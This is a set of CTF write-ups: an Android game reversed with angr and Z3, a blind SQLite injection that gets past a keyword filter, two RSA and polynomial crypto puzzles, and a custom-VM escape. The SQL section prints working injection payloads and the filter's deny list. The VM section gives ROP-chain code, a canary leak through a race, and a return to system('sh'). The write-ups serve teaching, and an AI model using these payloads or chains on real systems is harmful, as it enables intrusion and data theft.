• # Challenge overwiew

An Android APK challenge.

We have some kind of jump and run game, our character can walk left/right and jumping is possible as well. If we reach the red flag, the level is completed and a next level starts.

If we unpack the APK (APKs are just ZIP files, I used unzip flaggybird.apk) we can see that there are three zlib compressed levels inside the assets folder. I also noticed a small native library called library.so.

So far there is no clue about where the flag is hidden, and as the game is pretty hard (couldn’t reach level3) we need to get our hands dirty and start looking at the decompiled source.

# Reversing

I used jadx for the decompilation of the app (jadx flaggybird.apk). Now, with the (mostly) recovered source, we can start investigation. The Checker.java file was chosen as an interesting startpoint, as it contained AES decoding routines:

class Checker {
private static final byte[] a = new byte[]{(byte) 46, (byte) 50, ...};
private static final byte[] b = new byte[]{(byte) -30, (byte) 1, ...};
private static final byte[] c = new byte[]{(byte) -113, (byte) -47, ...};

private byte[] a(byte[] bArr, byte[] bArr2) {
try {
IvParameterSpec ivParameterSpec = new IvParameterSpec(b);
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES");
instance.init(2, secretKeySpec, ivParameterSpec);
return instance.doFinal(bArr2);
} catch (Exception unused) {
return null;
}
}

public byte[] a(byte[] bArr) {
if (nativeCheck(bArr)) {
try {
if (Arrays.equals(MessageDigest.getInstance("SHA-256").digest(bArr), a)) {
return a(bArr, c);
}
} catch (Exception unused) {
}
}
return null;
}

public native boolean nativeCheck(byte[] bArr);
}


Array a is a sha256 sum, b the IV and c contains encrypted data. We can see that if the native nativeCheck returns true for some bArr, it’s sha256 is compared against a. Only if they match, decryption takes place. So we are looking for a decryption key with the sha256 sum of a. To find the decryption key, we need to find out where bArr comes from and what nativeCheck does.

## Eggs And Arrays

The only occurrence of the Checker class is in f.java. There are two interesting methods in this file and a lot of enums.

class f {
static final a[] a = new a[]{a.EGG_0, a.EGG_1, ..., a.EGG_15};
...
public void a() {
byte[] bArr = new byte[32];
for (int i = 0; i < this.l.length; i++) {
for (int i2 = 0; i2 < a.length; i2++) {
if (this.l[i] == a[i2]) {
bArr[i] = (byte) i2;
}
}
}
bArr = new Checker().a(bArr);
if (bArr != null) {
try {
this.o = 0;
a(bArr);
return;
} catch (IOException unused) {
return;
}
}
this.g.a("Close, but no cigar.");
}


This method is responsible for calling the Checker. Before it does so, it constructs the bArr. The construction looks quite messy, but it just translates enum elements (like a.EGG_0, etc) into a numerical representation. In our case EGG_0 is translated to 0, EGG_1 to 1, etc. Therefore the real “array of interest” for us is l. But what we know so far is, that the bytevalues for bArr are all in the range [0-15], as the a array only contains 16 eggs.

    public void a(int i, int i2) {
this.l[i] = a[i2];
int i3 = -1;
for (int i4 = 0; i4 < this.m.size(); i4++) {
if (((Integer) this.m.get(i4)).intValue() == i) {
if (i2 == 0) {
i3 = i4;
} else {
return;
}
}
}
if (i3 != -1) {
this.m.remove(i3);
}
if (i2 != 0) {
if (this.m.size() > 15) {
this.l[((Integer) this.m.remove(0)).intValue()] = a.EGG_0;
}
}
}


This function is called to modify elements of l. It assigns l at position i the value of i2 (as an “EGG_*” enum value, but translated back anyways later as we could see). Also, in the remaining part of the method, it is ensured that there are no more than 15 nonzero eggs inside the l array and that every egg only occurs once! This reduces the possible keyspace further. For example the following keys would be possible:

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
[3,0,11,0,10,8,0,0,13,1,0,0,12,0,6,9,5,0,0,2,7,0,0,0,0,0,14,0,15,0,4,0]


At this point I stopped the java reversing part.

## NativeCheck

I started with throwing library.so into IDAs / ghidras decompiler. I used the ARM library version, as they tend to produce better decompilation results.

bool C(char *bArr)
{
int v1;
bool result;
unsigned char v4[16];

v1 = 0;
do {
v4[v1] = bArr[2 * v1] + bArr[2 * v1 + 1];
++v1;
} while ( v1 != 16 );

p = 0;
c = 1;
M(v4, 16);
return v4[15] < 16 && c != 0;
}


After some Java unwrapping C is called. bArr is compressed down to 16 Bytes by summing up two adjacent bytes, e.g. [x1, x2, x3, x4, …, x32] -> [x1 + x2, x3 + x4, …, x31 + x32]. Afterwards M is called. Apparently the goal is to keep c == 1 during the execution of M. Also, we get another constraint for the possible keyspace with x31 + x32 < 16. Now we get to the main part of the nativeCheck. It is some recursive algorithm which I didn’t bother to look at so closely. The only depency is a boolean array.

Straight outta IDA:

int c = 1;
int p = 0;
int d[] = {0x00000000U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U,
0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000001U,
0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U,
0x00000000U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U,
0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U,
0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U,
0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U,
0x00000000U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U,
0x00000001U, 0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U,
0x00000000U, 0x00000000U};

void M(char *dest, int len) {
size_t middle; // r13
int halflen; // er12
char *middleptr; // rbp
size_t v5; // rbx
int v6; // er14
signed int v7; // eax
char v8; // dl
size_t v9; // rbp
char desta[16]; // [rsp+10h] [rbp-48h]
size_t v12; // [rsp+20h] [rbp-38h]

if (len >= 2) {
middle = len >> 1;
M(dest, len >> 1);
if (c) {
halflen = len - middle;
middleptr = &dest[middle];
M(&dest[middle], len - middle);
if (c) {
if (halflen > 0) {
v5 = 0LL;
v6 = 0;
v7 = 0;
while (1) {
v8 = middleptr[v6];
if (dest[v7] >= v8) {
if (dest[v7] <= v8 || d[p]) {
c = 0;
return;
}
++p;
desta[v5] = middleptr[v6++];
} else {
if (d[p] != 1) {
c = 0;
return;
}
++p;
desta[v5] = dest[v7++];
}
++v5;
if (v7 >= (signed int) middle || v6 >= halflen)
goto LABEL_17;
}
}
v7 = 0;
v6 = 0;
v5 = 0;
LABEL_17:
if (v7 < (signed int) middle) {
v9 = (unsigned int) (middle - 1 - v7);
memcpy(&desta[(signed int) v5], &dest[v7], v9 + 1);
v5 = v5 + v9 + 1;
}
if (v6 < halflen) {
memcpy(&desta[(signed int) v5], &dest[middle + v6], (unsigned int) (len - 1 - v6 - middle) + 1LL);
}
memcpy(dest, desta, len);
}
}
}
}


# Solving

As it always takes some time for me to decompile algorithms properly (even tough this looked like a simple one) I decided just to write some small harness and use angr to compute a valid input array for M.

The harness:

int main(int argc, char* argv[]) {
char buf[16];
M(buf, 16);
if (c)
puts("YAY!");
return 0;
}


The handy part about doing it this way is, that we only need to define our constraints. I used the following:

1. Last byte of compressed key < 16 (because of the check in C)
2. A single byte must be < 30 (14 + 15 = 29 maximum possible value for a byte)
3. Summed up, all bytes must equal 120 (1+2+3+…+15 = 120)

The constraints from above still do allow for a few values we could have ruled out, but I just tried to keep them simple.

import angr
import claripy

if __name__ == '__main__':

sym = claripy.BVS('x', 16 * 8)
state = p.factory.entry_state(args=[p.filename], stdin=sym)

for i in range(15):
state.add_constraints(sum([sym.get_byte(x) for x in range(16)]) == 120)

ex = p.factory.simulation_manager(state)
ex.explore(find=lambda s: b"YAY!" in s.posix.dumps(1))
f = ex.found[0].solver.eval(sym, cast_to=bytes)
print(list(f))


After less than 15 seconds we get a solution. It is also the only possible solution.

[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]


Now we know the summed up key which M expects. Bruteforcing all possible values and comparing their hashes against the known hash should now be feasible. However I just used Z3 because I didn’t want to write a bruteforcer. The first constraints are the problem definition. The second one requires the key to contain exactly 15 nonzero values. Now we only have to loop until we find our key with the correct hash, constantly adding constraints to exclude already found, non-matching keys.

import hashlib
from z3 import *

arr = [9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]
correcthash = "2e325c91c914"

s = Solver()

vec = [BitVec('x{}'.format(x), 4) for x in range(32)]
for i in range(16):
s.add(vec[i * 2] + vec[i * 2 + 1] == arr[i])

s.add(sum([If(vec[i] != 0, 1, 0) for i in range(32)]) == 15)

while s.check() == sat:
x = s.model()
ress = [x[v].as_long() for v in vec]
s.add(Or([vec[i] != ress[i] for i in range(32)]))
h = hashlib.sha256()
h.update(bytes(ress))
if h.hexdigest().startswith(correcthash):
print(h.hexdigest())
print(ress)


In less than 2 minutes I obtained the decryption key.

[9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]


After decryption we get a zlib compressed level file. I couldn’t tell the flag from the decompressed content, so I just replaced the first level with it. Then resigning the APK with jarsigner finally leads us to the flag.

• The challenge consisted of a webpage with four different animal emojis, clicking on one sent a vote for that animal. It was promised that results will be published at the end of the CTF.

We are provided with the database schema which consists of two tables, one for all the votes and one containing the precious flag.

Looking at the provided code we can easily spot an attack vector:

...
$id =$_POST['id'];
...
$res =$pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); ...  The only issue being that $id is filtered using a custom function:

function is_valid($str) {$banword = [
// dangerous chars
// " % ' * + / < = > \ _  ~ -
"[\"%'*+\\/<=>\\\\_~-]",
// whitespace chars
'\s',
// dangerous functions
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|',$banword) . '/i';
if (preg_match($regexp,$str)) {
return false;
}
return true;
}


So we are not allowed to use whitespace, no functions like char, like or substr that could help us compare strings and they even limited how we can query other tables by blocking union and join.

After playing around with an sqlite shell for a few minutes it became clear that subqueries using something like SELECT(flag)FROM(flag) seemed to be working fine, now we need two things:

• A way of actually getting a result back (no query results are returned)
• A way of comparing the flag in the database with given values (since we are attacking it completely blind)

Getting a result back was actually quite easy, we can just let sqlite try to interpret the flag as json. Since it has brackets and (hopefully) doesn’t follow correct json syntax that will result in an error which we can’t see but at least are told that something went wrong.

Trying this out we crafted two queries:

• (SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(0)) This one succeeded as json(flag) is never executed
• (SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(flag)) This one fails as the flag is no valid json string

Now we needed a way to actually get any information about the content… this is where most of the time got spent.

Playing around with the shell a bit more we found that we can convert the flag into hex presentation and that sqlite is using weak typing. Trying out something like SELECT REPLACE("1234", 12, ""); results in 34.

Taking the redacted flag from the given schema (HarekazeCTF{<redacted>}) and converting it into hex results in 486172656b617a654354467b3c72656461637465643e7d. We noticed that there are lot of parts with just digits and no letters 486172656 b 617 a 654354467 b 3 c 72656461637465643 e 7 d, and since we could replace numbers with anything we wanted to we would be able to basically reduce the length of the given hex-string by the number of matches of our replacement.

First we tried to find the length of the flag, that was actually quite easy to do, just probing around with a simple query:

• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(36)) Thank you for your vote!
• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(37)) Thank you for your vote!
• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(38)) An error occured…

So we know the flag is 38 characters long, or 76 hex characters.

Next we probed around for the count of each digit in the hex-flag, here an example for the digit 4 (which was in there 7 times):

• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(76)) Thank you for your vote!
• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(70)) Thank you for your vote!
• (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(69)) An error occured

Using that information we now were able to piece together parts of the flag by trying number sequences instead of single digits, each time decreasing the length accordingly and adding a digit, if it was correct we’d get an error otherwise we were thanked for our patience.

After getting into the flow this was actually done quite quickly in a few minutes by hand, resulting in the following sequence of numbers and 12 characters ([a-f]) left unknown:

• 345
• 34316
• 34353733727
• 3137335
• 35716
• 37305
• 62335
• 486172656
• 617
• 654354467
• 5
• 6

We knew that the flag would start with HarekazeCTF{ so we quickly determined that 486172656 b 617 a 654354467 b is the start, already giving us the order for 3 of the numbers in the list. Since the flag ends with } (0x7d) we know that we’d need a number with a 7 at the end, which after sorting out the start could only be 34353733727.

After that we had the following numbers left:

• 345
• 34316
• 3137335
• 35716
• 37305
• 62335
• 5
• 6

Noticing that most of those numbers (excluding the last digit) resultet in valid ascii and most of them ended with a 5 and 0x5f being an underscore which is often used as a flag separator we quickly filled that in, leaving us only with 3 hex characters and all being prefixed with a 6. Since the flag seemed to be written in l33t-speak and m (0x6d) is one of the characters which is really hard to represent that way, so we picked that sequence to fill in the last gaps.

At that point we had the following list:

• 486172656B617A654354467B HarekazeCTF{
• 345F 4_
• 34316D 5F 41m_ (we moved the 5F from the end here since it fits the pattern of other parts)
• 3137335F 173_
• 35716D 5qm
• 37305F 70_
• 62335F b3_
• 5F _
• 6D m
• 34353733727 4573r}

Sorting that around we got something like HarekazeCTF{41m_70_b3_4_5qm173_m4573r}, and fixing one of our guesses replacing the m with an l resulted in the flag: HarekazeCTF{41m_70_b3_4_5ql173_m4573r}.

• The following sage script was given:

flag = "XXXXXXXXXXXXXXXXXXXXXXXXX"
p = 257
k = len(flag) + 1

def prover(secret, beta=107, alpha=42):
F = GF(p)
FF.<x> = GF(p)[]
r = FF.random_element(k - 1)
masked = (r * secret).mod(x^k + 1)
y = [
masked(i) if randint(0, beta) >= alpha else
for i in range(0, beta)
]
return r.coeffs(), y

sage: prover(flag)
[141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49]
[138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34]


It doesn’t work quite as given - prover() must be given a polynomial, not a string. I figured that this polynomial was probably just using the flag string as coefficients, and just tried to recover that secret polynomial first (under the assumption that it was of degree $k$). The r.coeffs() output has length $26$, so this means that $k=26$.

Now the hard part was recovering the polynomial masked - if I knew that, I could just multiply by the multiplicative inverse of $r$ in the ring $GF(p)[x]/(x^k+1)$ (which fortunately exists). The known output y is obtained by evaluating masked at the positions $0,1,\ldots,106$ - however, with random chance of $\frac{42}{107}$, a random output modulo $p$ is chosen instead. I also know that masked is a polynomial of degree $k-1$ - so if I just knew $k$ correct points, I could simply construct the Lagrange Polynomial through these points.

With the output containing errors I had two choices:

• Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{-6}$ of happening - and it is easy to detect, as some random polynomial through 26 of the points will match y in far less places than the correct one. Having now tried it after the CTF, it works very well.
• Using someone elses work: My first instinct however was to search for a more elegant algorithm for the problem. In retrospect, just using brute force would probably have saved me some time - but this variant was at least quite educational.

I knew that problems of the type “given a set of discrete equations, find a solution that satisfies a high number of them” were quite typical for Coding theory, so I started looking at well-known error-correcting codes. After a little reading, the Reed-Solomon Code jumped out to me - Wikipedia gives the codewords of a Reed-Solomon Code as $\{(p(a_1), p(a_2), \ldots, p(a_n))\mid p \text{ is a polynomial over } F \text{ of degree } k\}$. Setting $n=107, a_i=i-1, k=26, F=GF(p)$, this is exactly the kind of output we are dealing with. So now I just needed to decode the codeword given to me in y to one that lies in that Reed-Solomon Code. Fortunately, sage has builtin functions for everything:

sage: p, k = 257, 26
sage: F = GF(p)
sage: FF.<x> = F[]
sage: from sage.coding.grs import *
sage: C=GeneralizedReedSolomonCode([F(i) for i in range(107)],26)
sage: D=GRSBerlekampWelchDecoder(C)
sage: D.decode_to_message(vector(y,F))
DecodingError: Decoding failed because the number of errors exceeded the decoding radius
40


Whoops - it seems there are just a few errors too many in the output for the BerlekampWelchDecoder to handle. All the other decoders seemed to have the same problem… until I somehow managed to find the Guruswami-Sudan decoder. It conveniently takes a parameter tau that specifies (within limits) the number of errors it will be able correct:

sage: from sage.coding.guruswami_sudan.gs_decoder import *
sage: D=GRSGuruswamiSudanDecoder(C,45)
136*x^25 + 181*x^24 + 158*x^23 + 233*x^22 + 215*x^21 + 95*x^20 + 235*x^19 + 76*x^18 + 133*x^17 + 199*x^16 + 105*x^15 + 46*x^14 + 53*x^13 + 123*x^12 + 150*x^11 + 28*x^10 + 87*x^9 + 122*x^8 + 59*x^7 + 177*x^6 + 174*x^5 + 200*x^4 + 143*x^3 + 77*x^2 + 65*x + 138


Finally it’s just a matter of multiplying by $r^{-1}$:

sage: R = FF.quo(x^k+1)
sage: "".join([chr(i) for i in flag]) # iterates over coefficients
'N0p3_th1s_15_n0T_R1ng_LpN\x00'


## Lessons learned

• Coding theory has all kinds of useful stuff for “out of n relations, only k hold, but we don’t know which”-type situations
• If a builtin function of sage isn’t quite good or general enough, there is probably a better one somewhere
• Don’t waste time on elegant solutions if you can just guess
• while True:
p = next_prime(random.randint(0, 10**500))
if len(str(p)) != 500:
continue
q = Integer(int(str(p)[250:] + str(p)[:250]))
if q.is_prime():
break

>> p * q
6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989
>> pow(m, 65537, p * q)
3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257


If we write $p$ as:

$p = 10^{250}x+y$

with $0\leq x,y<10^{250}$, then $q$ is obtained by swapping $x$ and $y$:

$q = 10^{250}y+x$

This means that for $n=pq$ we have:

$n = pq = (10^{250}x+y)(10^{250}y+x) =$ $=10^{500}xy + 10^{250}x^2 + 10^{250}y^2 + xy = (10^{500}+1)xy+10^{250}(x^2+y^2)$

But now $n \equiv 0xy + 10^{250}(x^2+y^2) \mod 10^{500}+1$ or $x^2+y^2 \equiv \frac{n}{10^{250}} \mod 10^{500}+1\,.$ As $10^{250}$ and $10^{500}+1$ are coprime, this is well-defined.

In sage:

sage: R=Zmod(10^500+1)
sage: s = Integer(R(n)*R(10^250)^-1)


But on the other hand, as $x$ and $y$ are less than $10^{250}$, the sum of their squares must be less than $(10^{250})^2+(10^{250})^2=2\cdot 10^{500}$. As we already know the residue of $x^2+y^2$ mod $10^{500}+1$, this means that we only have two possibilities left: $s$ and $s+10^{500}+1$. It is possible to quite easily exclude the first one: $s$ is divisible by $3$ but not $9$, which would be in contradiction to the Sum of two squares theorem. Of course, one can also just try both values.

This means that $x^2+y^2$ must be $s+10^{500}+1$. Using $n=(10^{500}+1)xy+10^{250}(x^2+y^2)$ we now have two equations for two variables. Those can be solved by substituting and solving the resulting biquadratic equation, or just using sage:

sage: x,y=var("x,y")
sage: solve([n==(10^500+1)*x*y+10^250*(x^2+y^2),x^2+y^2==s+10^500+1],(x,y))
[[x == 6704087713997099865507815769768764401477034704508108261256143985284139367993820913412851771729239540206881848078387952673084087851136091482870695733338884807660355569782830813482768223955545908153884900037741101021721778447622913463893844919116113159, y == 9167577910876006891858257597237629440949705918335724259091862313200766026122707397405770653228405765712936180484223756343702067850288957263434298651591281476391443835610092615155677011406076889438184185284410734629391841138106293296764467469014716371], ...]


(symmetric and negative solutions omitted). Now it’s just a matter of recovering $p$ and $q$ and deciphering:

sage: p=10^250*x+y
sage: q=10^250*y+x
sage: p*q==n
True
sage: d=ZZ.quo((p-1)*(q-1))(65537)**-1
sage: m=int(pow(c,d,n))
sage: binascii.a2b_hex(hex(m)[2:-1])
'midnight{w3ll_wh47_d0_y0u_kn0w_7h15_15_4c7u4lly_7h3_w0rld5_l0n6357_fl46_4nd_y0u_f0und_17_50_y0u_5h0uld_b3_pr0ud_0f_y0ur53lf_50_uhmm_60_pr1n7_7h15_0n_4_75h1r7_0r_50m37h1n6_4nd_4m4z3_7h3_p30pl3_4r0und_y0u}\x99\xd3\x84\x00\xdd\x98\xbf\xedv\xe8|\xd3#\x01sR\x83\x9f\xce\x9fHg\xef\xfb\x07\x05\xc7\xd1R4*\xbc\x9e\x9aW\x10\x0b5\xc0\xc0\xf9\xcc2dD\x00\xd5\x89\xfd2\xd2l\xe3N3\x8bU6}[\x92\xd5\xf5\x0fO\xde-\xf1\xb0\xbe\xaf\xc5\xcfM\xadyo\xd9\xbf\xff\xeci\xd5$\xf99\xde\xad\xaaP{\xfc\xf7\x91 o2\x99M\x9cE\xfe@,\xc0\x8d\x88wU\xb0\x82X\xa2;r\xeaq\x8eV\x05t\x94\xb8\x8c\xba\x90\xf5\xa8\xf9\x17$\x94\xf4:\x11\x9e\xfc\x0b]\x97\xbbMv9\x865f*\$\x93r\xf65j\xc0jk\xf0\xab\xd5\t\xb3\xda\x17\xb0~\x05}\xc4@(\xa8\r\x16\x01V\xcdm\x901\x17\x18\xf3\xfd\xd6L\xa7\x13|\xaa\x9d\x1e_\xb4%g/Q+\xff\xc1\xbe\xf1fB#g\xa8\xda\xdd4'

• hfs-vm:

Write a program in my crappy VM language.

Service: nc hfs-vm-01.play.midnightsunctf.se 4096

hfs-vm2:

Escape the VM to get a flag.

Service: nc hfs-vm-01.play.midnightsunctf.se 4096

## Analysis

The provided service implements a VM for a custom architecture as well as a ‘kernel’ which the VM process uses to interact with the system.

### userspace and kernel

The userspace and the kernel are implemented using two processes; the binary forks on startup and the parent becomes the kernel while the child executes the userspace. They communicate via both a socket pair and a shared memory region.

The kernel process initially resets its stack canary, to get a canary different from that in the userspace process.

The userspace process reads bytecode from the user and implements a simple VM to ‘execute’ the bytecode. Additionally, it enables the strict seccomp mode, which only allows the read, write and exit system calls.

‘system calls’ between the userspace process and the kernel process are implemented using the socket pair and shared memory mentioned above. To enter a system call, the userspace process sends the system call number and arguments over the socket, and reads the return value from the socket. The kernel process on the other hand reads from the socket, then executes the system call, and writes the return value back to the socket. This way, one of the two processes is always blocked reading. Large arguments or return values are passed via the shared memory region: the first two bytes of the region contain the size of the data, followed by the raw data.

### Custom VM

As already mentioned above, the userspace process implements a simple VM for a custom architecture. The virtual 16-bit CPU has 16 registers, numbered 0 through 15, with register 14 and 15 doubling as the stack and instruction pointer. The stack has a fixed size of 32 words. Internally, the state of the VM is stored in the following struct on the stack of the userspace process:

struct state_t {
int fd;
void *shared_mem;
uint16_t regs[14];
uint16_t reg_sp;
uint16_t reg_pc;
uint16_t stack[32];
};


The custom architecture executes bytecode with 4 byte long instructions encoding the instruction type and up to two operands. The following instructions are supported:

• mov reg, imm, add reg, imm, sub reg, imm, xor reg, imm: move/add/subtract/xor the register reg with the 16-bit immediate value imm and store the result in reg

• mov reg, reg, add reg, reg, sub reg, reg, xor reg, reg: move/add/subtract/xor the first register with the second register and store the result in the second register

• xchg reg, reg: swap the contents of the two registers

• push reg, push imm: push the register / immediate value onto the stack

• pop reg: pop a value off the stack and store it in reg

• setstack reg, imm, setstack reg, reg: use the value of the register reg as an (absolute) index into the stack; set the stack value at that index to reg/imm

• getstack reg, reg: use the value of the first register as an (absolute) index into the stack; store the stack value at that index in the second register

• syscall: trigger a system call; the first three registers are passed to the kernel as the syscall number and two arguments

• debug: output the values of all registers and the stack

The syscall instruction additionally passes the VM’s stack to the kernel via the shared memory region. When looking at the implementation of these instructions, we notice that push and pop perform bounds checks on the stack, while setstack and getstack don’t!

## The First Flag

At this point we can already obtain the first flag by issuing syscall 3, which copies the flag onto the VM’s stack, and then executing the debug instruction.

Flag: midnight{m3_h4bl0_vm}

## Exploitation

Because of the strict seccomp mode used by the userspace process, we cannot spawn a shell from that process. We have to use the bug discovered above to gain control of the userspace process, afterwards use another bug in the kernel to escalate further and then spawn a shell.

### ROP in the userspace

Using the missing bounds checks mentioned above, we can first leak both the stack canary (of the userspace process) and the base address of the binary (which will be the same in the userspace and kernel processes). After that, we overwrite the stack of the userspace process and execute a ROP chain. Because our previously sent bytecode has to write this chain, we are limited in size. Thus, the first ROP chain will just read some input (the second ROP chain) onto the data segment of the process and pivot the stack there.

# gadgets encoded as tuples
# the second element indicates if the address is relative to the binary's base

# read(0, data + 0xa00, 0xe00)
(pop_rdi, True),
(0, False),
(pop_rsi, True),
(0x203000 + 0xa00, True),
(pop_rdx, True),
(0xe00, False),
# rsp = data + 0xa00
(pop_rsp, True),
(0x203000 + 0xa00, True),


We have to write this first ROP chain using the bytecode executed in the VM, using the getstack and setstack instructions as explained above. Because we have no way to leak the base address of the binary before sending the bytecode, we have to use the bytecode to adjust the addresses of our gadgets.

# generate the bytecode for a given ROP chain
# abbreviations for opcode operands: r = register, s = stack, i = immediate

bc = ''
# set regs 1, 2, 3, 4 to ret addr (4 is not touched, because always zero)
bc += mov_rs(1, 52)
bc += mov_rs(2, 53)
bc += mov_rs(3, 54)
bc += sub_ri(1, 0xe6e)
# debug to leak base addr
bc += p32(0xa)

idx = 52
for val, rel in rop:
if rel:
# set regs 5, 6, 7, 8 to val
bc += mov_ri(5, val & 0xffff)
bc += mov_ri(6, (val >> 16) & 0xffff)
bc += mov_ri(7, (val >> 32) & 0xffff)
bc += mov_ri(8, (val >> 48) & 0xffff)
# write to stack
bc += mov_sr(idx, 5)
bc += mov_sr(idx + 1, 6)
bc += mov_sr(idx + 2, 7)
bc += mov_sr(idx + 3, 8)
else:
# write to stack
bc += mov_si(idx, val & 0xffff)
bc += mov_si(idx + 1, (val >> 16) & 0xffff)
bc += mov_si(idx + 2, (val >> 32) & 0xffff)
bc += mov_si(idx + 3, (val >> 48) & 0xffff)
idx += 4


For exploiting the kernel, we will need access to the shared memory region, so we use the second ROP chain to leak its address and read a third ROP chain.

# second rop chain to leak shared_mem pointer
rop = ROP(binary)


### ROP in the kernel

Now that we have all info we need and the ability to execute an arbitrarily long ROP chain, we can search for a bug in the kernel.

The first bug is obvious when looking at the syscall handler: the shared memory region (which also contains its own size and is fully controlled by userspace) is copied in a fixed-size buffer on the stack, leading to a simple stack buffer overflow. However, there is a stack canary preventing us from exploiting this bug alone.

The second bug is a synchronization issue: right before the kernel returns from a syscall, the stack buffer is copied back into the shared memory region, using the size specified in the shared memory region. That means, if we manage to increase the size while the kernel performs a syscall, we can leak data from the kernel stack! During normal operation one of the two processes always blocks while reading from the socket, but now that we control the userspace, we can trigger a syscall and continue execution in userspace without waiting for the syscall to finish.

At first this sounds like a hard race condition we have to win, until we look at syscall number 4 which, when supplied with a specific argument, sleeps for a total of 4 seconds. That’s more than enough time to increase the size of the shared memory region. The last issue we have is that, to get the correct timing, the userspace process needs to wait too, but sleep (actually nanosleep) is blocked by the seccomp filter. We can still let the userspace process wait by issuing a dummy read from stdin and waiting the correct amount in our exploit script.

So here’s the plan for the third ROP chain: we trigger syscall number 4 and wait a second for the kernel to enter the syscall. Then we overwrite the size of the shared memory region and wait for the kernel to return from the syscall. Now the kernel’s stack canary is stored in the shared memory region, so we print the kernel’s canary to stdout. Our exploit script uses that canary and the info we acquired previously to craft a ROP chain for the kernel. The ROP chain in the userspace continues and reads the ROP chain for the kernel from stdin, into the shared memory region. Finally, it triggers any syscall. The kernel now copies the shared memory region onto its stack, smashing it in the process.

# third rop chain to trigger ROP in kernel
rop = ROP(binary)
rop_data = ''

def data_sys(num, arg1=0, arg2=0):
return p8(num) + p16(arg1) + p16(arg2)

# trigger sys_random(4)
rop_data += data_sys(4, 4)
# overwrite shared_mem size
# dummy read, just for waiting a bit
# leak parent stack canary
rop.write(1, shared_mem + 74, 8)
# read rop chain for parent to shared_mem
# trigger rop in parent, via sys_ls()
rop_data += data_sys(6)
# exit
rop.exit(0)


The ROP chain executed in the kernel is very simple: since the binary imports system, we can return to it, passing sh as argument (which we can also place in the shared memory), and finally get a shell!

rop = ROP(binary)
# 'sh' is placed at shared_mem + 0x300
rop.system(shared_mem + 0x300)


Flag: midnight{7h3re5_n0_I_iN_VM_bu7_iF_th3r3_w@s_1t_w0uld_b3_VIM}`

You can find the full exploit script here.